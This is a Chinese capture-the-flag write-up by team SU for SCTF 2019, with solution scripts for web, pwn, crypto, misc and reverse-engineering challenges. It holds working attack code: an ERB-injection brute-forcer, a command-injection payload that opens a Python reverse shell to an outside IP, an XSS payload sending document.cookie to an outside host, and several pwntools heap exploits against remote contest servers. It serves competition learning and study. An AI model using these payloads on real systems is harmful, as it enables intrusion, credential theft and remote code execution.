稍微打一波小广告,SU战队长期招人,无论您是小白,大佬,只要乐于分享,愿意交流,我们永远欢迎您的加入。我们可以一起打比赛,一起交流技术,一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海,还有非常厉害的郁离歌,郁离歌,郁离歌,(这里的话竟然自己会动!)划重点!!(问:跟郁离歌打比赛是一种什么体验?答:只要花心思想自己怎么躺最舒服就行了!)我们乐于交流,乐于分享,乐于为自己的战队做努力,有着一致的目标。所以,如果有师傅想来一起交流,一起学习进步,一起打比赛的话,加入我们没有地区年级等任何限制,我们非常欢迎师傅或者团体的加入!欢迎联系:suers_xctf#126.com
以下是我们SU战队本次SCTF 2019的 wp ,再次感谢 Syclover 师傅们的精心准备!
Web
flag shop
扫目录发现robots.txt里面有源码路径
http://47.110.15.101/filebak 有源码
漏洞点在 /work
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
应该是个 ruby erb 模版注入,但是在
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
这里只能执行7个,一般模版注入的方式是<%=7*7%>
远超过7个可用的地方。
猜是不是可以用<%%>
构造什么命令来,SECRETKEY
长度为24位,应该不太可能弄得出来,意味着不能通过正常的buy flag
来拿到 flag 。
就剩下去利用这些去读取ENV
了
然后发现 ruby 的全局变量, 可以用 $~ 读取刚刚匹配的子串, 加上 <%=%> 刚好 7 字符, 因为 params[:SECRET]
可控, 可以来爆破 ENV["SECRET"]
,
import requests
table = '1234567890abcdef'
url = 'http://47.110.15.101/work'
data = {
"name": "<%=$~%>",
"do": "<%=$~%> is working"
}
sess = requests.session()
sess.headers['Cookie'] = 'auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiIwZmQxMjUzNC1mMmJjLTRhZTUtOTRhNy1kNmUwZWRjMGJkMzEiLCJqa2wiOjEwN30.iI0fcdikWuFxSxYm9LV1dNjCmmID48QZ0c3w-hhyEnw'
'''
#后半部分
key = ''
for _ in range(1000):
for i in table:
tmp = key
tmp += i
data['SECRET'] = tmp
print(tmp)
res = sess.get(url, data=data)
print(res.text)
if tmp in res.text:
key += i
print(key)
break
'''
#前半部分
key = '17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8'
for _ in range(1000):
for i in table:
tmp = key
tmp = i + tmp
data['SECRET'] = tmp
res = sess.get(url, data=data)
if tmp in res.text:
key = i + key
print(key)
break
得到 key 以后直接丢到 jwt.io 里面伪造就完事了.
easy-web
webpack 打包的时候没关 sourcemap, 可以直接看到源码, 发现后台没鉴权, 直接调接口
import requests
data = {
"key": "abcdefghiklmn123",
"npm": ["jquery", '''`python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('1.1.1.1',19132));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"`''']
}
res = requests.post('https://sctf2019.l0ca1.xyz/upload', json=data)
弹 shell 回来发现用的 aws 函数服务器. 查了查文档, 在服务器里面可以直接调用 aws api, 找到 bucket 里面的 flag.
node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.listObjects({Bucket: "static.l0ca1.xyz"}).promise().then((r)=>{console.log(r)});'
node -e 'const AWS = require("aws-sdk");const s3 = new AWS.S3();s3.getObject({Bucket: "static.l0ca1.xyz", Key: "flaaaaaaaaag/flaaaag.txt"}).promise().then((r)=>{console.log(r)});'
math-is-fun1 && math-is-fun2
http://题目地址/challenge?name=xxxx%0ADOMPurify[%27isSupported%27]%3d0&text=<script>window.location%3d"http://ip:5555/"+document.cookie</script>
利用config[name]处的变量覆盖关闭dompurify即可利用DOM XSS
Pwn
easy heap
from pwn import *
context(arch = 'amd64',os='linux')
def add(size):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('0x')
return p.recv(12)
def dele(idx):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(idx))
def edit(idx,cont):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(cont)
libc = ELF('./libc.so.6')
#p = process('./easy_heap',env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('132.232.100.67', 10004)
p.recvuntil('0x')
mmap_addr = int(p.recvuntil('\n')[:-1],16)
print hex(mmap_addr)
ptr_addr = int(add(0x100-8),16)#0
info("ptr:0x%x",ptr_addr)
add(0xf8)#1
add(0xf8)#2
edit(0,p64(0)+p64(0xf1)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+(0x100-8-16-8-16)*'\x00'+p64(0xf0))
dele(1)
#edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8)+p64(0x90)+p64(ptr_addr+0x30-8)+p64(0)+p64(0x91)+'\x00'*0x80+p64(0x90)+p64(0x91)+'\n')
add(0x80)#1
add(0x80)#3
add(0x80)#4
dele(1)
dele(4)
edit(0,p64(0)+p64(0)+p64(0x200)+p64(ptr_addr-8+0x50)+p64(0x200)+p64(mmap_addr)+p64(0)*2+p64(0x80)+'\x28\n')
edit(3,p64(ptr_addr+0x40)+'\n')
add(128)
a = 0x16# int(raw_input("a"),16)
edit(0,p64(0x200)+'\x20'+chr(a)+'\n')
edit(5,p64(0xfbad3c80)+p64(0)*3+p8(0)+'\n')
p.recvuntil(p64(0)*3)
addr = u64(p.recv(8))
libc_base = addr - (0x7f7af9dfa6e0-0x7f7af9a37000)
print hex(libc_base)
free_hook = libc_base+libc.symbols['__free_hook']
sh = asm(shellcraft.sh())
edit(1,sh+'\n')
edit(0,p64(0x200)+p64(free_hook)+'\n')
edit(5,p64(mmap_addr)+'\n')
p.sendline('2')
p.sendline('0')
p.interactive()
one heap
用hbase爆破pbase的1/8192变态house of Roman + 1/1的house of three
from pwn import *
context.arch = "amd64"
context.aslr = False
libc = ELF("./libc-2.27.so")
def add(size,data,shift = False):
io.sendlineafter("choice:",str(1))
io.sendlineafter("size",str(size))
if(shift == False):
io.sendlineafter("content:",data)
else:
io.sendafter("content:",data)
def rm():
io.sendlineafter("choice:",str(2))
while(True):
try:
#io = process("./one_heap",env = {"LD_PRELOAD":"./libc-2.27.so"})
io = remote('47.104.89.129',10001)
add(0x60,'0000')
rm()
rm()
add(0x60,'\x20\x60\x64')
add(0x60,' ')
add(0x60,'\n',shift = True)
add(0x60,p64(0xfbad1880)+p64(0)*3+"\x58")
lbase = u64(io.recv(6).ljust(8,'\x00'))-libc.sym['_IO_file_jumps']
success("LBASE -> %#x"%lbase)
add(0x40,'0000')
rm()
rm()
add(0x40,p64(lbase+libc.sym['__realloc_hook']))
add(0x40,p64(lbase+libc.sym['__realloc_hook']))
one = 0x4f2c5
add(0x40,p64(lbase+one)+p64(lbase+libc.sym['realloc']+0xe))
add(0x30,"cat flag\x00")
#gdb.attach(io,'handle SIGALRM nostop noprint')
io.interactive()
raw_input()
except Exception,e:
info(str(Exception)+str(e))
io.close()
two heap
0x1 0x8 0x10 0x18绕size check(都是生成0x20的堆块)
from pwn import *
context.arch = 'amd64'
#context.aslr = False
libc = ELF("./libc-2.26.so")
def add(size,data):
io.sendlineafter("choice:","1")
io.sendlineafter("size:\n",str(size))
io.sendafter("note:\n",data)
def rm(idx):
io.sendlineafter("choice:","2")
io.sendlineafter("index:\n",str(idx))
while(True):
try:
io = remote('47.104.89.129',10002)
#io = process("./two_heap",env = {"LD_PRELOAD":"./libc-2.26.so"})
io.sendlineafter("SCTF:\n","%a%a%a%a%a")
io.recvuntil("0x0.0")
lbase = (int(io.recv(11),16)<<4)-libc.sym['_IO_2_1_stdout_']
info("LBASE -> %#x"%lbase)
add(1,'')
rm(0);rm(0);ls
add(8,p64(lbase+libc.sym['__free_hook']))
add(0x10,'\n')
add(24,p64(lbase+libc.sym['system'])+'\n')
add(40,"/bin/sh\x00"+"\n")
io.sendline("2")
io.sendline("4")
#gdb.attach(io,'handle SIGALRM nostop noprint')
io.interactive()
raw_input()
except Exception,e:
info(str(e))
io.close()
Crypto
warmup
题目中先 xor 到 16 位然后再用 CBC, 所以只要撞 xor 出来的 16 位就可以了.
unpad 也没检查, 可以往里面插东西撞 xor.
import remoteCLI
from binascii import hexlify, unhexlify
from Crypto.Util.strxor import strxor
cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 12345)
msg, code = cli.recvUntilFind(r'you seem to have intercepted something:{(.*):(.*)}')
msg = unhexlify(msg)
mac = b'\x00' * 16
for i in range(len(msg) // 16):
mac = strxor(msg[i * 16:(i + 1) * 16], mac)
forge_msg = bytearray(b'please send me your flag'+ (b'\x00' * 8))
forge_msg.extend(forge_msg)
forge_msg.extend(bytearray(mac))
length = len(forge_msg) + len(mac) - len('please send me your flag')
forge_msg[-1] ^= length
forge_msg.extend(b'\x00' * 15)
forge_msg.append(length)
cli.sendLine(hexlify(forge_msg))
cli.sendLine(code)
cli.console()
babygame
OFB 在知道明文+密文的情况下直接伪造明文. 这里通过广播攻击 + Coppersmith 得到明文.
import remoteCLI
from binascii import unhexlify, hexlify
from Crypto.Util.strxor import strxor
cli = remoteCLI.CLI()
cli.connect('47.240.41.112', 54321)
e, n = cli.recvUntilFind(r'pubkey:{e, n}={(.*), (.*)}')
n = int(n[:-1], 16)
cli.sendLine(str(n * 10))
cli.sendLine(str(1))
n1, = cli.recvUntilFind(r'Alpha:my pub-key is: e=3,n=(.*)')
n2, = cli.recvUntilFind(r'Bravo:my pub-key is: e=3,n=(.*)')
n3, = cli.recvUntilFind(r'Charlie:my pub-key is: e=3,n=(.*)')
mess1, a1, b1 = cli.recvUntilFind(r'admin:Alpha, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess2, a2, b2 = cli.recvUntilFind(r'admin:Bravo, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
mess3, a3, b3 = cli.recvUntilFind(r'admin:Charlie, your ciphertext is: c=(.*)\nwith some parameters:a=(.*), b=(.*)')
cipher, = cli.recvUntilFind(r'Alpha:David, make sure you\'ve read this:(.*)')
var = 'n1 n2 n3 mess1 mess2 mess3 a1 a2 a3 b1 b2 b3'
for i in var.split():
globals()[i] = int(globals()[i][:-1], 16)
data = {
'n': [n1, n2, n3],
'c': [mess1, mess2, mess3],
'a': [a1, a2, a3],
'b': [b1, b2, b3]
}
import json
import subprocess
data = json.dumps(data)
output = subprocess.check_output(['sage', 'crypto2-broadcast.sage', data]).decode()[:-1]
plaintext = int(output) # I will send you the ticket tomorrow afternoon\x03\x03\x03
plaintext = b'I will send you the ticket tomorrow afternoon\x03\x03\x03'
forge_mess = b'I will send you the ticket tomorrow morning\x05\x05\x05\x05\x05'
cipher = unhexlify(cipher)
keystream = strxor(plaintext, cipher)
forge_cipher = strxor(keystream, forge_mess)
cli.sendLine('2')
cli.sendLine(hexlify(forge_cipher))
cli.console()
crypto2-broadcast.sage
def hastads(cArray,nArray,e=3):
"""
Performs Hastads attack on raw RSA with no padding.
cArray = Ciphertext Array
nArray = Modulus Array
e = public exponent
"""
if(len(cArray)==len(nArray)==e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
M = crt(cArray,nArray)
return(Integer(M).nth_root(e,truncate_mode=1))
else:
print("CiphertextArray, ModulusArray, need to be of the same length, and the same size as the public exponent")
def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
"""
Performs Hastads attack on raw RSA with no padding.
This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
Where they are all encryptions of the same message.
cArray = Ciphertext Array
nArray = Modulus Array
aArray = Array of 'slopes' for the linear padding
bArray = Array of 'y-intercepts' for the linear padding
e = public exponent
"""
if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
for i in range(e):
cArray[i] = Integer(cArray[i])
nArray[i] = Integer(nArray[i])
aArray[i] = Integer(aArray[i])
bArray[i] = Integer(bArray[i])
TArray = [-1]*e
for i in range(e):
arrayToCRT = [0]*e
arrayToCRT[i] = 1
TArray[i] = crt(arrayToCRT,nArray)
P.<x> = PolynomialRing(Zmod(prod(nArray)))
gArray = [-1]*e
for i in range(e):
gArray[i] = TArray[i]*(pow(aArray[i]*x + bArray[i],e) - cArray[i])
g = sum(gArray)
g = g.monic()
# Use Sage's inbuilt coppersmith method
roots = g.small_roots(epsilon=eps)
if(len(roots)== 0):
print("No Solutions found")
return -1
return roots[0]
else:
print("CiphertextArray, ModulusArray, and the linear padding arrays need to be of the same length," +
"and the same size as the public exponent")
import json
import sys
data = json.loads(sys.argv[1])
print(linearPaddingHastads(data['c'], data['n'], data['a'], data['b']))
Misc
签到题
关注微信公众号,cat /flag
头号玩家
一直向上走就会有Flag
(一直向下会有假Flag
打开电动车
读数据发现有1个停止位,24个数据位,应该是PT2262,查了资料发现是16位地址8位数据,然而不对
然后发现可能是20位地址,这个对了
Maaaaaze
Rev
CreakMe
一个正常的Binary,程序是一个裸的标准AES加密,密钥和向量分别是sycloversyclover和sctfsctfsctfsctf,密文是Base64过的,用于比对的密文在程序的构造函数里面被变过,调试器挂一下就拿到了
>>> iv = 'sctf' * 4
>>> key = 'syclover' * 2
>>> aes = AES.new(key, AES.MODE_CBC, iv)
>>> cipher = 'nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo='
>>> aes.decrypt(cipher.decode('base64'))
'sctf{Ae3_C8c_I28_pKcs79ad4}\x05\x05\x05\x05\x05'
who is he
是一个Unity3D,逆Assembly-CSharp.dll,算法很简单,写个程序解一下
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace HelloWorldApplication
{
class HelloWorld
{
static void Main(string[] args)
{
String str = "1Tsy0ZGotyMinSpxqYzVBWnfMdUcqCMLu0MA+22Jnp+MNwLHvYuFToxRQr0c+ONZc6Q7L0EAmzbycqobZHh4H23U4WDTNmmXwusW4E+SZjygsntGkO2sGA==";
byte[] bytes = Encoding.Unicode.GetBytes("1234");
byte[] array = Convert.FromBase64String(str);
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(bytes, bytes), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
byte[] bytes2 = memoryStream.ToArray();
cryptoStream.Close();
memoryStream.Close();
String result = Encoding.Unicode.GetString(bytes2);
Console.WriteLine(result);
}
}
}
然后发现不对,开调试器挂程序,发现程序里面还有两个Assembly-CSharp.dll,而且之前那个根本就没载进去。。。
算法一样的,密文密钥分别是
q+w89Y22rObfzxgsquc5Qxbbh9ZIAHET/NncmiqEo67RrDvz34cdAk0BalKWhJGl2CBYMlr8pPA=
1234
xZWDZaKEhWNMCbiGYPBIlY3+arozO9zonwrYLiVL4njSez2RYM2WwsGnsnjCDnHs7N43aFvNE54noSadP9F8eEpvTs5QPG+KL0TDE/40nbU=
test
发现第二组是对的
(你打CTF像CXK.jpg
Strange apk
安卓逆向,打开后dex2jar转一下dex文件,在恢复出来的代码中可以找到一段对一个文件解密的过程.
文件可以看到是一个非常大的文件,打开后里面有好多syclover这些东西
可以看到里面的东西是通过key[i%len]这样循环解密一个文件,根据同样的逻辑尝试恢复文件,后来发现开头是PK,里面还有安卓包内的一些东西,即解密除了第二个apk
继续解密逆dex,可以看到前面12个是base64,后12个是割一位填充一个字符8,拿出来即可
babyre
elf文件,一共有三层
第一层是555的一个立体的密室,根据waasdxy走到目标位置即可
第二层则是base64dec,要求解密后的字符为sctf_9102
第三层是一个自写的算法,输入的16位在前面排好,在buf里成为4个int,然后通过i=0,j=4依次递增,执行如下运算
buf[j] = buf[i] ^ func(buf[i + 1] ^ buf[i + 2] ^ buf[i + 3])
,直到最后运算结束,填充buf到30,最后check后四位在内存的值
可以看出来我们只知道buf[26],buf[27],buf[28],buf[29]
,由于buf[29] = buf[25] ^ func(buf[26],buf[27],buf[28])
,由xor运算的性质,我们就可算出buf25,递归到0即可求出初始字符串
#include <stdio.h>
#include "defs.h"
#include <stdlib.h>
#include <string.h>
int dword_7F4BEE488940[288] =
{....
....//此处自行dump
};
unsigned int calcc(unsigned int a1)
{
int v1; // ST18_4
int table[290]; // [rsp+20h] [rbp-490h]
unsigned __int64 v4; // [rsp+4A8h] [rbp-8h]
qmemcpy(table, dword_7F4BEE488940, 0x480uLL);
v1 = (table[BYTE2(a1)] << 16) | table[(unsigned __int8)a1] | (table[BYTE1(a1)] << 8) | (table[a1 >> 24] << 24);
return __ROL4__(v1, 12) ^ (unsigned int)(__ROL4__(v1, 8) ^ __ROR4__(v1, 2)) ^ __ROR4__(v1, 6);
}
unsigned int calc(unsigned int a,unsigned int b,unsigned int c,unsigned int d) {
return a ^ calcc(b^c^d);
}
int main() {
unsigned int buf[30];
unsigned char enc[16] = {128, 6, 4, 190, 71, 118, 175, 197, 31, 64, 204, 159, 239, 146, 191, 216};
//unsigned char enc[16] = {190, 4, 6, 128, 197, 175, 118, 71, 159, 204, 64, 31, 216, 191, 146, 239};
// scanf("%16s",s);
memset(buf,0,30*4);
memcpy(&buf[26],enc,16);
int i,j;
for(i = 25,j = 29;j >= 4;j--,i--) {
buf[i] = calc(buf[j],buf[j-3],buf[j-2],buf[j-1]);
printf("buf[%d] = %d ^ calcc(%d,%d,%d)\n",i,j,j-3,j-2,j-1);
}
printf("%s\n",(char *)buf);
// printf("%d\n",strlen((char *)buf));
}
music
又是个安卓,打开后会强制你听一首《早春的树》,然后到了输入flag的界面,输入错误会从头听歌,然后输入
逆dex,可以看到比较清楚的逻辑,在几个class中,看到几个运算,分别是tohexstr,getdb,还有一个魔改了一下的rc4,db文件拿到字符串md5当作key,找到hex后的字符串,写解密脚本
public class Notepad
{
public static void main(String[] args)
{
byte[] enctob = new byte[]{-62, -117, -61, -99, -61, -90, -62, -125, -62, -77, -61, -99, -62, -109, -62, -119, -62, -72, -61, -70, -62, -98, -61, -96, -61, -89, -62, -102, 22, 84, -61, -81, 40, -61, -95, -62, -79, 33, 91, 83};
String bs = new String(enctob);
char[] flagenc = bs.toCharArray();
char[] out = new char[bs.length()];
int[] S = new int[256];
byte[] wtf = new byte[256];
int i,j,k;
String key = "E7E64BF658BAB14A25C9D67A054CEBE5";
for (i = 0; i < 256; i++ )
{
S[i] = i;
wtf[i] = (byte)(key.charAt(i % 32));
}
i = 0;
j = 0;
for(i = 0,j = 0;i < 256; i++ )
{
j = (S[i] + j + wtf[i]) % 256;
k = S[i];
S[i] = S[j];
S[j] = k;
}
for (i = 0,j = 0,k = 0; i < bs.length(); i++ )
{
k = (k + 1) % 256;
j = (S[k] + j) % 256;
int temp = S[k];
S[k] = S[j];
S[j] = temp;
out[i] = (char)((flagenc[i] ^ S[(S[k] + S[k] % 256) % 256]) + k);
System.out.println(out);
}
}
}
稍微打一波小广告,SU战队长期招人,无论您是小白,大佬,只要乐于分享,愿意交流,我们永远欢迎您的加入。我们可以一起打比赛,一起交流技术,一起为冲击全国甚至国际重要赛事前列而努力。我们的战队成员主要来自五湖四海,还有非常厉害的郁离歌,郁离歌,郁离歌,(这里的话竟然自己会动!)划重点!!(问:跟郁离歌打比赛是一种什么体验?答:只要花心思想自己怎么躺最舒服就行了!)我们乐于交流,乐于分享,乐于为自己的战队做努力,有着一致的目标。所以,如果有师傅想来一起交流,一起学习进步,一起打比赛的话,加入我们没有地区年级等任何限制,我们非常欢迎师傅或者团体的加入!欢迎联系:suers_xctf#126.com